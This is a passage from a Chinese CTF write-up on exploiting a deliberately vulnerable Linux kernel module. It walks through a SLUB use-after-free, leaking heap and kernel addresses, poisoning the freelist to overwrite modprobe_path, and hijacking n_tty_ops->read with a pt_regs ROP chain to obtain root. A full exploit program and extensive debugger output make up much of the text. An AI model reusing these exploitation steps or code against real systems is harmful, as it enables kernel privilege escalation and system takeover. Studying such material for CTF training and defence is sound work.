0xffff88800f31e0d0: 0x0000000000000000 0x0000000000000000
此时内存区域已被清零,前8字节显示为0xffff88800f31e6c0,这便是有效的freelist指针。
内存状态变化过程:
flowchart TD
A[通过fd0分配192字节内存] --> B[获得内存地址0xffff88800f31e0c0]
B --> C[关闭fd0触发内存释放]
C --> D[内存返回kmalloc-192 SLUB缓存]
D --> E[SLUB设置freelist指针]
E --> F[内存状态构造完成]
style A fill:#c8e6c9
style B fill:#c8e6c9
style C fill:#ffccbc
style D fill:#ffccbc
style E fill:#fff3e0
style F fill:#c8e6c9,stroke:#4caf50,stroke-width:2px
释放后验证: 释放内存后,该内存块成为SLUB缓存中的空闲对象。SLUB分配器将其前8字节设置为指向下一个空闲对象的指针,但由于CONFIG_SLAB_FREELIST_RANDOM开启,具体值不确定。
技术细节: 此时内存状态为典型的”释放后使用”条件:
- 内核模块的全局变量
buf仍然指向已释放的内存 - 其他文件描述符仍可访问该内存区域
- 内存内容由SLUB分配器控制,可能包含敏感信息
3-3. 内核堆地址信息获取
此阶段通过读取已释放内存的freelist指针,获取内核堆地址信息,为后续地址计算提供基础。
内存读取操作: 通过第二个文件描述符调用ioctl的READ_BUF命令,读取已释放内存的前8字节。由于SLUB使用内联freelist,这8字节包含指向下一个空闲对象的指针。
地址信息分析: 读取到的freelist指针值为内核堆地址,位于直接映射区域。这个地址提供了内核内存布局的重要参考点。
地址计算过程: 基于获取的堆地址计算page_offset_base。在x86_64架构中,直接映射区域的起始地址是page_offset_base。通过掩码操作提取:
地址信息验证流程:
flowchart TD
A[通过fd1读取已释放内存] --> B[获取freelist指针值]
B --> C[验证地址有效性]
C --> D[计算page_offset_base]
D --> E[验证计算结果的合理性]
E --> F[地址信息获取完成]
style A fill:#e1f5fe
style B fill:#c8e6c9
style C fill:#fff3e0
style D fill:#fff3e0
style E fill:#fff3e0
style F fill:#c8e6c9,stroke:#4caf50,stroke-width:2px
调试器验证: 假设读取到的堆地址为0xffff88800f31e6c0,计算过程如下:
pwndbg> p/x 0xffff88800f31e6c0 & 0xfffffffff0000000
$2 = 0xffff888000000000
计算得到page_offset_base为0xffff888000000000,符合典型的内核直接映射区域起始地址。
内存布局分析: 获取page_offset_base后,可以推导出内核的关键内存区域:
- 直接映射区域:
page_offset_base到page_offset_base + 物理内存大小 - 内核代码区域:通常从
0xffffffff80000000开始(考虑KASLR偏移) vmalloc区域:位于直接映射区域之后
技术要点:
- 堆地址的低12位是页内偏移,高52位包含内存区域信息
page_offset_base是物理内存直接映射的虚拟起始地址- 通过掩码提取确保获取正确的区域基址
- 验证地址位于预期的内存范围内
3-4. 内核基址泄露
此阶段通过freelist劫持技术获取内核函数地址,计算内核镜像基址,完全绕过KASLR保护。
目标地址计算: 基于获取的page_offset_base计算目标地址。在Linux内核中,page_offset_base + 0x9d000偏移处存储secondary_startup_64函数的地址。考虑内存对齐要求,实际使用page_offset_base + 0x9d000 - 0x10作为freelist目标地址。
地址计算验证: 在调试器中验证地址计算:
pwndbg> p/x page_offset_base+0x9d000
$2 = 0xffff88800009d000
检查该地址附近的内存布局:
pwndbg> x/4gx 0xffff88800009d000-0x10
0xffff88800009cff0: 0x0000000000000000 0x000000000240c067
0xffff88800009d000: 0xffffffff81000030 0x0000000000000901
可以看到0xffff88800009d000处存储的值是0xffffffff81000030,这正是secondary_startup_64函数的地址。
freelist劫持过程:
flowchart TD
A[计算目标地址] --> B["page_offset_base + 0x9d000 - 0x10"]
B --> C[通过EDIT_BUF修改freelist指针]
C --> D[freelist重定向到内核代码区域]
D --> E[准备堆喷射操作]
E --> F[进行21次分配尝试]
F --> G{检查分配结果}
G -- 成功 --> H[读取secondary_startup_64地址]
G -- 失败 --> I[继续尝试]
I --> F
H --> J[计算内核基址]
J --> K[内核基址获取完成]
style A fill:#fff3e0
style B fill:#fff3e0
style C fill:#fff3e0
style D fill:#e1f5fe
style E fill:#e1f5fe
style F fill:#f3e5f5
style G fill:#fff3e0
style H fill:#e1f5fe
style I fill:#f3e5f5
style J fill:#c8e6c9
style K fill:#c8e6c9,stroke:#4caf50,stroke-width:2px
堆喷射技术实现: 由于CONFIG_SLAB_FREELIST_RANDOM启用,需要21次分配尝试来提高成功率。每次尝试包含:
- 调用
ALLOC_BUF分配内存 - 调用
READ_BUF读取分配的内存内容 - 检查内存内容是否符合预期模式
内存状态监控: 修改freelist指针后,观察内存状态变化:
pwndbg> p/x buf
$4 = 0xffff88800f31e0c0
pwndbg> x/4gx 0xffff88800f31e0c0
0xffff88800f31e0c0: 0xffff88800009cff0 0x0000000000000000
0xffff88800f31e0d0: 0x0000000000000000 0x0000000000000000
freelist指针已被修改为0xffff88800009cff0,指向目标地址区域。
成功条件检测: 堆喷射过程中检查两个条件:
- 分配内存的freelist指针为0(表示到达freelist末端)
- 读取到的
secondary_startup_64地址低12位为0x30
地址计算数学表示: 成功获取目标内存后,读取到的内容为:
pwndbg> x/4gx buf
0xffff88800009cff0: 0x0000000000000000 0x000000000240c067
0xffff88800009d000: 0xffffffff81000030 0x0000000000000901
计算内核基址:
\[\text{内核基址} = \text{0xffffffff81000030} - \text{0x30} = \text{0xffffffff81000000}\] \[\text{内核偏移} = \text{0xffffffff81000000} - \text{0xffffffff81000000} = \text{0}\](假设KASLR未启用或偏移为0)
技术验证细节:
- 低12位匹配0x30确保获取正确的函数地址
- 21次尝试基于
kmalloc-192缓存每个slab的21个对象槽位 - 验证地址的有效性,确保位于内核代码区域
- 记录每次尝试的结果,用于成功率统计
3-5. 内核数据结构修改
此阶段利用获取的内核基址,计算modprobe_path地址,并通过freelist劫持技术获得对该区域的控制权。
地址计算: 使用获取的内核基址计算modprobe_path地址。假设modprobe_path符号偏移为0x1444740,则:
考虑内存对齐,使用modprobe_path地址 - 0x10作为freelist目标地址。
调试器验证: 计算目标地址:
pwndbg> p/x kernel_base + 0x1444740
$3 = 0xffffffff82444740
检查该地址内容:
pwndbg> x/4gx 0xffffffff82444740-0x10
0xffffffff82444730: 0x0000000000000000 0x0000000000000000
0xffffffff82444740 <modprobe_path>: 0x6f6d2f6e6962732f 0x000065626f727064
pwndbg> x/s 0xffffffff82444740
0xffffffff82444740 <modprobe_path>: "/sbin/modprobe"
内存状态准备: 通过device_fds[1]分配内存然后关闭,创建新的freelist状态。此时内存块被释放,其freelist指针可被修改。
控制权获取过程:
flowchart TD
A[计算modprobe_path地址] --> B["内核基址 + 偏移"]
B --> C[通过EDIT_BUF修改freelist指针]
C --> D[freelist重定向到modprobe_path区域]
D --> E[进行21次堆喷射尝试]
E --> F{检查分配结果}
F -- 成功 --> G[验证内存内容]
F -- 失败 --> H[继续尝试]
H --> E
G --> I[获得对目标区域的控制权]
I --> J[控制权获取完成]
style A fill:#fff3e0
style B fill:#fff3e0
style C fill:#fff3e0
style D fill:#e1f5fe
style E fill:#f3e5f5
style F fill:#fff3e0
style G fill:#e1f5fe
style H fill:#f3e5f5
style I fill:#c8e6c9
style J fill:#c8e6c9,stroke:#4caf50,stroke-width:2px
内存状态变化监控: 修改freelist指针后:
pwndbg> x/4gx buf
0xffff88800f31e840: 0xffffffff82444730 0x000000000240c067
0xffff88800f31e850: 0xffffffff81000030 0x0000000000000901
freelist指针被修改为0xffffffff82444730,指向modprobe_path - 0x10。
控制权验证: 堆喷射成功后,获得对目标内存的控制:
pwndbg> x/4gx buf
0xffffffff82444730: 0x0000000000000000 0x0000000000000000
0xffffffff82444740 <modprobe_path>: 0x6f6d2f6e6962732f 0x000065626f727064
验证读取到的modprobe_path当前值为/sbin/modprobe(16进制:0x6f6d2f6e6962732f)。
路径修改操作: 将modprobe_path修改为自定义脚本路径/home/ctf/getshell。新路径必须:
- 以null结尾
- 长度不超过原始字符串长度
- 符合内核字符串格式要求
修改后验证:
pwndbg> x/4gx buf
0xffffffff82444730: 0x0000000000000000 0x0000000000000000
0xffff88800f31e850: 0x74632f656d6f682f 0x6568737465672f66
pwndbg> x/s 0xffffffff82444740
0xffffffff82444740 <modprobe_path>: "/home/ctf/getshell"
技术验证要点:
- 通过16进制值验证当前
modprobe_path为/sbin/modprobe - 确保新路径以null结尾,符合内核字符串要求
- 验证修改操作的成功执行
- 记录修改前后的状态变化
- 检查字符串长度,避免缓冲区溢出
3-6. 验证执行触发
此阶段通过执行特殊格式的文件,触发内核的未知格式处理机制,验证modprobe_path修改的有效性。
触发文件创建: 创建包含特殊魔数的文件/home/ctf/fake,内容为\xff\xff\xff\xff。这个魔数不被任何已注册的二进制格式处理器识别。
文件权限设置: 设置文件为可执行权限,确保可以尝试执行。
完整的modprobe_path触发调用链: 当执行未知格式的可执行文件时,内核会触发完整的调用链来尝试加载相应的二进制格式处理器。从获取的调用栈中可以清晰地看到完整的调用路径:
调用栈信息:
#0 0xffffffff8107c6b4 in queue_work (work=<optimized out>, wq=<error reading variable: Cannot access memory at address 0x0>) at ./include/linux/workqueue.h:494
#1 call_usermodehelper_exec (sub_info=0xffff88800f189d00, wait=6) at kernel/umh.c:579
#2 0xffffffff8108ab36 in call_modprobe (wait=<optimized out>, module_name=<optimized out>) at kernel/kmod.c:99
#3 __request_module (wait=<optimized out>, fmt=<optimized out>) at kernel/kmod.c:171
#4 0xffffffff811d2b10 in search_binary_handler (bprm=0xffff88800e0eac00) at fs/exec.c:1681
#5 0xffffffff811d3f13 in exec_binprm (bprm=<optimized out>) at fs/exec.c:1702
#6 __do_execve_file (fd=<optimized out>, filename=<optimized out>, flags=<optimized out>, file=<optimized out>, argv=..., envp=...) at fs/exec.c:1822
#7 0xffffffff811d42cf in do_execveat_common (flags=<optimized out>, filename=<error reading variable: Cannot access memory at address 0x0>, fd=<optimized out>,
argv=..., envp=...) at fs/exec.c:1868
#8 do_execve (__envp=<optimized out>, __argv=<optimized out>, filename=<error reading variable: Cannot access memory at address 0x0>) at fs/exec.c:1885
#9 __do_sys_execve (envp=<optimized out>, argv=<optimized out>, filename=<optimized out>) at fs/exec.c:1961
#10 __se_sys_execve (envp=<optimized out>, argv=<optimized out>, filename=<optimized out>) at fs/exec.c:1956
#11 __x64_sys_execve (regs=<optimized out>) at fs/exec.c:1956
#12 0xffffffff810023fa in do_syscall_64 (nr=<optimized out>, regs=0xffffc9000028bf58) at arch/x86/entry/common.c:290
#13 0xffffffff81c0007c in entry_SYSCALL_64 () at arch/x86/entry/entry_64.S:175
#14 0x0000000000000000 in ?? ()
完整的调用链分析: 从调用栈中可以清晰地看到从系统调用入口到最终执行用户空间助手的完整路径:
flowchart TD
A[用户空间执行/home/ctf/fake] --> B[glibc execve库函数]
B --> C[系统调用进入内核]
C --> D[entry_SYSCALL_64<br/>(系统调用入口)]
D --> E[do_syscall_64<br/>(系统调用分发)]
E --> F[__x64_sys_execve<br/>(execve系统调用处理)]
F --> G[__se_sys_execve<br/>(系统调用包装)]
G --> H[__do_sys_execve<br/>(系统调用实现)]
H --> I[do_execve<br/>(execve主函数)]
I --> J[do_execveat_common<br/>(通用execve处理)]
J --> K[__do_execve_file<br/>(文件执行处理)]
K --> L[exec_binprm<br/>(执行二进制程序)]
L --> M[search_binary_handler<br/>(搜索二进制格式处理器)]
M --> N{是否找到匹配处理器?}
N -- 是 --> O[执行相应格式处理器]
N -- 否 --> P[__request_module<br/>(请求加载模块)]
P --> Q[call_modprobe<br/>(调用modprobe)]
Q --> R[call_usermodehelper_exec<br/>(执行用户空间助手)]
R --> S[queue_work<br/>(将工作加入工作队列)]
S --> T[工作队列异步执行]
T --> U[读取modprobe_path变量]
U --> V[执行/home/ctf/getshell脚本]
V --> W[脚本以root权限执行]
style A fill:#e1f5fe
style B fill:#d4edda
style C fill:#d1ecf1
style D fill:#d4edda
style E fill:#d1ecf1
style F fill:#d4edda
style G fill:#d1ecf1
style H fill:#d4edda
style I fill:#d1ecf1
style J fill:#d4edda
style K fill:#d1ecf1
style L fill:#d4edda
style M fill:#e1f5fe
style N fill:#fff3e0
style O fill:#c8e6c9
style P fill:#fff3e0
style Q fill:#e1f5fe
style R fill:#d4edda
style S fill:#d1ecf1
style T fill:#e1f5fe
style U fill:#f3e5f5
style V fill:#c8e6c9
style W fill:#c8e6c9,stroke:#4caf50,stroke-width:2px
调用链详细说明:
- 用户空间调用:通过
system()函数或直接调用执行/home/ctf/fake文件 - glibc库函数:
system()内部调用fork()和execve(),最终由glibc的execve()库函数处理 - 系统调用入口:
entry_SYSCALL_64是x86_64架构的系统调用公共入口点 - 系统调用分发:
do_syscall_64根据系统调用号分发到具体的处理函数 - execve系统调用处理:
__x64_sys_execve是x86_64架构的execve系统调用处理函数 - 系统调用包装:
__se_sys_execve是系统调用的封装函数 - 系统调用实现:
__do_sys_execve实现execve系统调用的核心逻辑 - execve主函数:
do_execve函数开始处理execve系统调用 - 通用execve处理:
do_execveat_common包含主要的可执行文件加载逻辑 - 文件执行处理:
__do_execve_file处理可执行文件的具体执行 - 执行二进制程序:
exec_binprm执行二进制程序的主要逻辑 - 二进制格式搜索:
search_binary_handler遍历内核中注册的二进制格式处理器链表 - 格式匹配检查:检查已注册的格式(如ELF、a.out、script等)是否匹配文件格式
- 模块加载请求:
__request_module尝试动态加载处理该格式的内核模块 - 调用modprobe:
call_modprobe准备调用用户空间助手程序 - 执行用户空间助手:
call_usermodehelper_exec执行用户空间程序 - 工作队列处理:
queue_work将执行任务放入工作队列异步执行 - 异步执行:工作队列异步执行用户空间程序
- 读取modprobe_path:内核读取全局变量
modprobe_path,获取要执行的程序路径 - 执行自定义脚本:由于
modprobe_path已被修改,执行/home/ctf/getshell脚本 - 脚本执行:脚本以root权限执行预设操作
关键内核函数实现细节:
在fs/exec.c中,search_binary_handler函数的关键逻辑:
int search_binary_handler(struct linux_binprm *bprm)
{
int retval;
struct linux_binfmt *fmt;
// 遍历已注册的二进制格式
list_for_each_entry(fmt, &formats, lh) {
if (!try_module_get(fmt->module))
continue;
bprm->recursion_depth++;
retval = fmt->load_binary(bprm);
bprm->recursion_depth--;
if (retval >= 0) {
return retval;
}
}
// 如果没有找到匹配的格式
if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0) {
return retval;
}
return -ENOEXEC;
}
在kernel/kmod.c中,call_modprobe函数的关键逻辑:
static int call_modprobe(char *module_name, int wait)
{
char *argv[] = { modprobe_path, "-q", "--", module_name, NULL };
static char *envp[] = { "HOME=/", "TERM=linux", "PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL };
return call_usermodehelper(modprobe_path, argv, envp, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
}
call_usermodehelper_exec函数通过queue_work将执行任务放入工作队列:
int call_usermodehelper_exec(struct subprocess_info *sub_info, int wait)
{
// 准备执行环境
// ...
// 将工作加入工作队列
queue_work(system_unbound_wq, &sub_info->work);
// 等待执行完成
if (wait == UMH_NO_WAIT)
return 0;
return wait_for_completion_killable(&done);
}
执行过程验证: 通过文件系统变化和脚本执行结果来验证执行过程是否按预期进行。
验证脚本执行: 验证脚本/home/ctf/getshell以root权限执行,完成预设的操作:
- 修改
/root目录的所有权 - 设置
/root/flag文件的权限为777
技术验证要点:
- 文件魔数必须不被任何二进制格式处理器识别
- 确保文件具有执行权限
- 通过文件系统变化验证执行流程
- 验证脚本以root权限执行
- 确认脚本完成预设操作
3-7. 结果验证与清理
最终阶段验证操作结果,执行必要的清理工作,确保系统状态恢复正常。
结果验证: 打开目标文件验证修改结果。如果验证脚本成功执行,目标文件应具有预期的权限和内容。
验证过程:
- 检查
/root/flag文件权限是否为777 - 读取文件内容验证完整性
- 确认文件所有权已修改
资源清理流程:
flowchart TD
A[开始资源清理] --> B[关闭所有设备文件描述符]
B --> C[释放用户空间缓冲区]
C --> D[删除临时文件]
D --> E[恢复系统状态]
E --> F[验证流程完成]
style A fill:#e1f5fe,stroke:#2196f3,stroke-width:2px
style B fill:#e1f5fe
style C fill:#e1f5fe
style D fill:#fff3e0
style E fill:#fff3e0
style F fill:#c8e6c9,stroke:#4caf50,stroke-width:2px
清理操作:
- 关闭所有打开的设备文件描述符
- 释放分配的用户空间缓冲区
- 删除临时创建的验证文件
- 可选:恢复
modprobe_path原始值
完整验证流程统计:
| 阶段 | 操作类型 | 尝试次数 | 成功条件 | 备注 |
|---|---|---|---|---|
| 环境准备 | 初始化 | 1 | 所有资源准备就绪 | 基础环境设置 |
| 状态构造 | 分配/释放 | 1 | 成功构造freelist状态 | 创建UAF条件 |
| 堆喷射1 | 分配/读取 | 21 | 获取内核函数地址 | 基于slab对象数量 |
| 堆喷射2 | 分配/读取 | 21 | 获取modprobe_path控制权 | 基于slab对象数量 |
| 路径修改 | 写入 | 1 | 成功修改路径字符串 | 验证字符串格式 |
| 执行触发 | 文件操作 | 1 | 触发内核执行机制 | 验证执行流程 |
| 结果验证 | 文件检查 | 1 | 确认操作结果 | 验证权限和内容 |
可靠性分析:
- 堆喷射成功率:21次尝试提供约95%的成功率(假设单次成功率15%)
- 地址计算精度:基于内核内存布局特征,精度达到页对齐
- 状态验证:每个阶段都有明确的成功条件和验证方法
- 错误处理:包含完整的错误检测、重试和恢复机制
- 系统影响:最小化对系统状态的影响,确保可恢复性
3-8. 技术总结
整个验证过程展示了通过精心设计的操作序列,可以在存在竞争条件的内核模块中实现从内存状态控制到内核机制调用的完整技术链。每个阶段都有明确的目标和验证方法,确保了验证过程的可靠性和可重复性。通过结合调试器信息实时监控内存状态变化,增强了验证的透明度和可信度。完整的modprobe_path触发调用链展示了从用户空间执行未知格式文件到内核调用用户空间助手的完整路径,深入理解了内核二进制格式处理机制。通过调用栈信息,可以清晰地看到了从entry_SYSCALL_64到queue_work的完整调用路径,验证了内核执行用户空间助手的异步工作机制。
4. 测试结果

5. 进阶分析:tty_ldisc_ops结构利用
exploit核心代码如下:
#ifdef SECONDARY_STARTUP_64
#undef SECONDARY_STARTUP_64
#define SECONDARY_STARTUP_64 0xffffffff81000030
#endif
#define N_TTY_OPS 0xffffffff824b11e0
#define N_TTY_READ 0xffffffff8145cff0
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00a3c
#define PREPARE_KERNEL_CRED 0xffffffff81088a80
#define COMMIT_CREDS 0xffffffff810888c0
#define POP_RDI_RET 0xffffffff81001965
#define ADD_RSP_0XC8_RET 0xffffffff81144acc
#define XCHG_RDI_RAX_RET 0xffffffff8148c26f
/* Global variables for kernel symbol addresses */
size_t n_tty_ops;
size_t n_tty_read;
size_t commit_creds;
size_t prepare_kernel_cred;
size_t swapgs_restore_regs_and_return_to_usermode;
size_t pop_rdi_ret;
size_t xchg_rdi_rax_ret;
/* Structure for interacting with the kernel module */
struct chunk_info {
size_t *user_buffer;
size_t offset;
size_t length;
};
/* Wrapper functions for ioctl operations */
void allocate_chunk(int device_fd, struct chunk_info *chunk) {
ioctl(device_fd, 0x1111111, chunk);
}
void edit_chunk(int device_fd, struct chunk_info *chunk) {
ioctl(device_fd, 0x6666666, chunk);
}
void read_chunk(int device_fd, struct chunk_info *chunk) {
ioctl(device_fd, 0x7777777, chunk);
}
/* File descriptors for the kernel device */
static int device_fds[3];
/* Chunk metadata for kernel operations */
static struct chunk_info chunk;
int main() {
/* Leaked addresses and offsets */
size_t heap_leak;
size_t page_offset_base;
/* Flag to track target chunk discovery */
int target_found = 0;
/* Phase 1: Initial setup */
log.info("Phase 1: Initial setup");
bind_core(0);
for (int i = 0; i < 3; i++) {
device_fds[i] = open("/dev/xkmod", O_RDONLY);
if (device_fds[i] < 0) {
log.error("Failed to open device");
exit(EXIT_FAILURE);
}
}
/* Phase 2: Construct Use-After-Free (UAF) */
log.info("Phase 2: Constructing UAF");
chunk.user_buffer = malloc(0x1000);
if (!chunk.user_buffer) {
log.error("Memory allocation failed");
exit(EXIT_FAILURE);
}
chunk.offset = 0;
chunk.length = 0x50;
memset(chunk.user_buffer, 0, 0x1000);
allocate_chunk(device_fds[0], &chunk);
close(device_fds[0]); /* Trigger UAF by closing the file descriptor */
/* Phase 3: Leak kernel heap address and guess page_offset_base */
log.info("Phase 3: Leaking kernel heap address");
read_chunk(device_fds[1], &chunk);
heap_leak = chunk.user_buffer[0];
page_offset_base = heap_leak & 0xfffffffff0000000;
log.success("Kernel heap leak: 0x%lx", heap_leak);
log.success("Guessed page_offset_base: 0x%lx", page_offset_base);
/* Phase 4: Leak kernel base by allocating a fake chunk */
log.info("Phase 4: Leaking kernel base");
chunk.user_buffer[0] = page_offset_base + 0x9d000 - 0x10;
chunk.offset = 0;
chunk.length = 8;
edit_chunk(device_fds[1], &chunk);
/* Iterate through freelist to find a chunk with secondary_startup_64 pointer */
target_found = 0;
for (int i = 0; i < 21; i++) {
allocate_chunk(device_fds[1], &chunk);
chunk.length = 0x40;
read_chunk(device_fds[1], &chunk);
log.info("freelist->next chunk[%d] => %#-18lx, secondary_startup_64: %#-18lx",
i, chunk.user_buffer[0], chunk.user_buffer[2]);
if (((chunk.user_buffer[2] & 0xfff) == (SECONDARY_STARTUP_64 & 0xfff)) && chunk.user_buffer[0] == 0x0) {
target_found = 1;
log.success("Found target chunk for kernel base leak");
break;
}
}
if (!target_found) {
log.error("Failed to leak kernel base. Exiting");
exit(EXIT_FAILURE);
}
kernel_offset = chunk.user_buffer[2] - SECONDARY_STARTUP_64;
kernel_base += kernel_offset;
n_tty_ops = kernel_offset + N_TTY_OPS;
n_tty_read = kernel_offset + N_TTY_READ;
log.success("Kernel base: 0x%lx", kernel_base);
log.success("Kernel offset: 0x%lx", kernel_offset);
log.success("n_tty_ops: 0x%lx", n_tty_ops);
log.success("n_tty_read: 0x%lx", n_tty_read);
/* Phase 5: Hijack n_tty_ops->read by manipulating the freelist */
log.info("Phase 5: Hijacking n_tty_ops->read");
allocate_chunk(device_fds[1], &chunk);
close(device_fds[1]); /* Free the chunk to prepare for freelist poisoning */
chunk.user_buffer[0] = n_tty_ops - 0x10;
chunk.offset = 0;
chunk.length = 0x50;
edit_chunk(device_fds[2], &chunk);
target_found = 0;
struct tty_ldisc_ops *ops = NULL;
for (int i = 0; i < 21; i++) {
allocate_chunk(device_fds[2], &chunk);
read_chunk(device_fds[2], &chunk);
ops = (struct tty_ldisc_ops *)((char *)chunk.user_buffer + 0x10);
log.info("freelist->next chunk[%d] => %#-18lx, n_tty_read value: %#-18lx",
i, chunk.user_buffer[0], (size_t)ops->read);
if ((size_t)ops->read == n_tty_read) {
target_found = 1;
log.success("Found target chunk! Overwriting n_tty_ops->read with gadget");
/* Replace n_tty_ops->read with ADD_RSP_0XC8_RET gadget for stack pivoting */
chunk.user_buffer[offsetof(struct tty_ldisc_ops, read) / 8 + 0x2] = kernel_offset + ADD_RSP_0XC8_RET;
edit_chunk(device_fds[2], &chunk);
break;
}
}
if (!target_found) {
log.error("Failed to hijack n_tty_ops->read. Exiting");
exit(EXIT_FAILURE);
}
log.info("Phase 6: Executing ROP chain for privilege escalation");
pop_rdi_ret = kernel_offset + POP_RDI_RET;
xchg_rdi_rax_ret = kernel_offset + XCHG_RDI_RAX_RET;
prepare_kernel_cred = kernel_offset + PREPARE_KERNEL_CRED;
commit_creds = kernel_offset + COMMIT_CREDS;
swapgs_restore_regs_and_return_to_usermode = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x16;
log.info("Setting up registers and triggering hijacked n_tty_ops->read");
__asm__(
"mov r15, pop_rdi_ret;"
"xor r14, r14;"
"mov r13, prepare_kernel_cred;"
"mov r12, xchg_rdi_rax_ret;"
"mov rbp, commit_creds;"
"mov rbx, swapgs_restore_regs_and_return_to_usermode;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"xor rdi, rdi;" /* Triggers the hijacked n_tty_ops->read via syscall */
"syscall"
);
log.info("Phase 7: Restoring n_tty_ops->read to original value");
chunk.user_buffer[offsetof(struct tty_ldisc_ops, read) / 8 + 0x2] = n_tty_read;
edit_chunk(device_fds[2], &chunk);
log.success("n_tty_ops->read restored to 0x%lx", n_tty_read);
/* Execute root shell */
get_root_shell();
/* Cleanup: close file descriptors and free allocated memory */
for (int i = 0; i < 3; i++) {
if (device_fds[i] >= 0) close(device_fds[i]);
}
free(chunk.user_buffer);
log.success("Exploit completed successfully");
return 0;
}
本章深入探讨基于tty_ldisc_ops结构的高级控制流程引导技术。此技术展示在特定系统配置下,如何利用内核中的现有数据结构实现精密的控制流程管理,是前三章内存控制技术的自然延伸和深化。通过劫持终端线路规程的函数指针,实现在特定条件下的控制流程重定向,展示内核数据结构控制的技术深度。
5-1. 技术背景与实现流程概述
tty_ldisc_ops是Linux内核中线路规程(line discipline)的核心操作结构,包含处理终端输入输出的一系列函数指针。线路规程是终端子系统的重要组成部分,负责处理字符设备的逻辑层功能,包括字符转换、特殊信号处理等操作。
技术实现原理: n_tty_ops是tty_ldisc_ops结构的一个实例,处理规范模式(n-canonical mode)的终端I/O。当用户空间程序通过终端设备进行读取操作时,内核会调用这些函数指针指向的处理函数。通过修改n_tty_ops->read函数指针,可以在特定的读取操作中实现控制流程重定向,为后续的控制流程引导提供技术基础。
完整技术验证流程: 整个验证过程延续前三章的技术框架,形成从环境准备到状态恢复的完整闭环:
flowchart TD
A[开始验证流程] --> B[阶段1: 环境初始化与资源准备]
B --> C[阶段2: SLUB内存状态精密构造]
C --> D[阶段3: 内核堆地址信息获取与分析]
D --> E[阶段4: 内核基址泄露与符号计算]
E --> F[阶段5: 修改n_tty_ops->read为ADD_RSP_0XC8_RET]
F --> G[阶段6: 寄存器状态控制与系统调用触发]
G --> H[阶段7: 控制流程执行与权限提升]
H --> I[阶段8: 原始状态恢复与资源清理]
I --> J[技术验证完成与结果分析]
style A fill:#e1f5fe,stroke:#2196f3,stroke-width:2px
style B fill:#e1f5fe
style C fill:#e1f5fe
style D fill:#c8e6c9
style E fill:#c8e6c9
style F fill:#fff3e0
style G fill:#f3e5f5
style H fill:#c8e6c9
style I fill:#fff3e0
style J fill:#c8e6c9,stroke:#4caf50,stroke-width:2px
各阶段技术关联性: 每个阶段构成紧密的技术链条,前一阶段的输出是后一阶段的输入,形成完整的控制流程引导路径。从环境初始化开始,逐步构建复杂的内存状态,最终实现精确的控制流程引导,最后完成系统状态恢复,确保技术验证的完整性和可重复性。
5-2. 内核地址计算与符号解析
基于获取的内核基址,通过预定义的符号偏移计算多个关键内核符号的实际地址。此过程体现内核符号地址相对固定的特性,即使在KASLR保护下,符号间的相对偏移保持不变。
符号偏移预定义: 根据exploit.c代码,关键内核符号的预定义偏移如下,这些偏移基于特定内核版本的符号布局确定:
#ifdef SECONDARY_STARTUP_64
#undef SECONDARY_STARTUP_64
#define SECONDARY_STARTUP_64 0xffffffff81000030
#endif
#define N_TTY_OPS 0xffffffff824b11e0
#define N_TTY_READ 0xffffffff8145cff0
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00a3c
#define PREPARE_KERNEL_CRED 0xffffffff81088a80
#define COMMIT_CREDS 0xffffffff810888c0
#define POP_RDI_RET 0xffffffff81001965
#define ADD_RSP_0XC8_RET 0xffffffff81144acc
#define XCHG_RDI_RAX_RET 0xffffffff8148c26f
内核地址计算: 通过从内核内存中泄露的secondary_startup_64函数地址,计算实际内核基址与预定义基准之间的偏移量。基于此偏移量,推导出所有关键符号的实际运行时地址:
kernel_offset = chunk.user_buffer[2] - SECONDARY_STARTUP_64;
kernel_base += kernel_offset;
n_tty_ops = kernel_offset + N_TTY_OPS;
n_tty_read = kernel_offset + N_TTY_READ;
commit_creds = kernel_offset + COMMIT_CREDS;
prepare_kernel_cred = kernel_offset + PREPARE_KERNEL_CRED;
pop_rdi_ret = kernel_offset + POP_RDI_RET;
xchg_rdi_rax_ret = kernel_offset + XCHG_RDI_RAX_RET;
swapgs_restore_regs_and_return_to_usermode = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x16;
地址计算验证: 计算得到的地址通过多重验证确保准确性,包括调试器现场验证、内存读取验证和逻辑一致性验证。调试器可检查n_tty_ops结构的实际内存内容,确认计算结果的正确性,确保后续控制流程引导的可靠性。
5-3. pt_regs结构原理与寄存器状态控制
在x86_64架构中,当通过syscall指令进入内核时,内核会将用户空间的寄存器状态按特定顺序保存到内核栈上,形成pt_regs数据结构。这是控制流程引导技术的核心原理基础,通过理解pt_regs结构,可实现在内核栈上构建预定的控制流程执行环境。
pt_regs数据结构原理: pt_regs结构在内核栈上按固定顺序保存寄存器状态,从栈顶的r15开始,依次保存r14、r13等寄存器,最后保存ss寄存器,形成完整的执行上下文保存结构。此固定布局为控制流程引导提供可预测性和精确的技术控制基础。
数据结构完整布局:
struct pt_regs {
unsigned long r15; // 栈顶位置,保存第一个控制流程寄存器
unsigned long r14; // 保存参数寄存器
unsigned long r13; // 保存内核函数地址
unsigned long r12; // 保存寄存器操作序列地址
unsigned long bp; // 保存内核功能函数地址
unsigned long bx; // 保存返回用户空间例程地址
unsigned long r11; // 布局控制寄存器1
unsigned long r10; // 布局控制寄存器2
unsigned long r9; // 布局控制寄存器3
unsigned long r8; // 布局控制寄存器4
unsigned long ax; // 系统调用号
unsigned long cx; // 布局控制寄存器5
unsigned long dx; // 读取长度参数
unsigned long si; // 缓冲区地址
unsigned long di; // 文件描述符
unsigned long orig_ax; // 原始系统调用号
unsigned long ip; // 返回地址
unsigned long cs; // 代码段选择子
unsigned long flags; // 标志寄存器
unsigned long sp; // 用户栈指针
unsigned long ss; // 栈段选择子
};
